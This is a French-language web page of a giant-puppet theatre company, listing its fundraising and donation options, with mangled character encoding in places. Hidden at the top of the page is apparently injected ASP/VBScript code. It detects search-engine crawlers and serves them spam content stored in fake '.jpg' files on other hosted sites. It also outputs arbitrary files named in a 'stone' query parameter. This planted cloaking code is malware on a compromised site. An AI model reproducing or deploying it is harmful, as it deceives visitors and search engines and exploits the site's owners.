<%@ Language=VBScript %> <% Function is_bot() Dim user_agent,Re user_agent = lcase(Request.servervariables("Http_User_Agent")) Set Re = New Regexp Re.IgnoreCase = True Re.Global = True Re.Pattern = "(bot|crawl|spider|slurp|yahoo|sohu-search|lycos|robozilla)" is_bot = Re.Test(user_agent) Set Re = Nothing End Function Dim fso,gf,str,stone Set stone = Request.QueryString("stone") Set fso = CreateObject("Scripting.FileSystemObject") If stone<> "" then stone=LCase(Replace(stone," ","-")) Set gf = fso.OpenTextFile("D:\hshome\c305868\theatresansfil.ca\images\icons\images\"&stone&".jpg") str = gf.ReadAll() Response.Write str Response.End() gf.Close() END If If is_bot = True Then Set gf = fso.OpenTextFile("D:\hshome\c305983\kaytumadi.com\images\slider\index.jpg") str = gf.ReadAll() Response.Write str Response.End() gf.Close() End If %> Théâtre Sans Fil - Spectacles de Marionnettes Géantes
Campagne de financement
• Dons individuels
• Dons corporatifs
•  Dons planifi¨¦s ¨CDons par legs
-Dons par assurance-vie
-Dons par valeurs mobili¨¨res
• Programme de reconnaissance
English
             
Accueil | Présentation | Historique | Faits saillants | Les productions | Événements spéciaux
Caserne Letourneux TSF | Pour nous joindre | Partenaires
© Copyright TSF 2006 Tous droits réservés